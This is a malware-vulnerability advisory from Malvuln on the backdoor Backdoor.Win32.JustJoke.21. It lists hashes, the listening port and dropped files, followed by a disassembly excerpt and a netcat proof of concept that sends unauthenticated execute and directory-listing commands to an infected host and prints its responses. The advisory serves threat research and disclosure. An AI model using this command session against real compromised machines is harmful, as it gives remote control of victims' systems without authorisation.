Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/4dc39c05bcc93e600dd8de16f2f7c599.txt
Contact: malvuln13@gmail.com
Media: x.com/malvuln  

Threat: Backdoor.Win32.JustJoke.21 (BackDoor Pro - v2.0b4)
Vulnerability: Unauthenticated Remote Command Execution
Family: JustJoke
Type: PE32
MD5: 4dc39c05bcc93e600dd8de16f2f7c599
SHA256: 55662483e663bde98d729489c6b25986003a40df1e2be376b0c3b20d2d6c7987 
Vuln ID: MVID-2024-0689
Dropped files: Scanvegw.exe
Disclosure: 09/03/2024
Description: The malware listens on TCP port 28072.  Upon execution, throws an error alert dialog with message: "File DATA1.CAB not found!". The backdoor then drops a hidden PE file named "Scanvegw.exe" in SysWoW64 use attrib -s -h. The malware then makes outbound connections to SMTP port 25. Hit enter twice when sending commands use "E" for Execute and "T" for Terminate. Calling programs incorrectly still gives a response of "Executed!" when it actually fails. The malware calls Win32 WinExec API, supply full path to the file.

0046A0CC                 push    eax             ; lpCmdLine
0046A0CD                 call    WinExec
0046A0D2                 push    offset aTmp     ; "tmp!?!"
0046A0D7                 push    [ebp+var_C]
0046A0DA                 push    offset aExecuted ; " Executed!"
0046A0DF                 lea     eax, [ebp+var_168]
0046A0E5                 mov     edx, 3
0046A0EA                 call    sub_40495C

Exploit/PoC:
nc64.exe x.x.x.x 28072
E "c:\\Windows\\System32\\calc.exe";
tmp!?!"c:\\Windows\\System32\\calc.exe";
Executed!
E GetDir;
tmp!?!GetDir;
 Executed!
GetDir;C:\WINDOWS\system32
@AudioToastIcon.png
@EnrollmentToastIcon.png
@VpnToastIcon.png
@WirelessDisplayToast.png
aadauthhelper.dll
aadtb.dll
AboveLockAppHost.dll
accessibilitycpl.dll

E GetDrive;
tmp!?!GetDrive;
 Executed!GetDrive;c: 
d:
GetFiles;
GetSpace;


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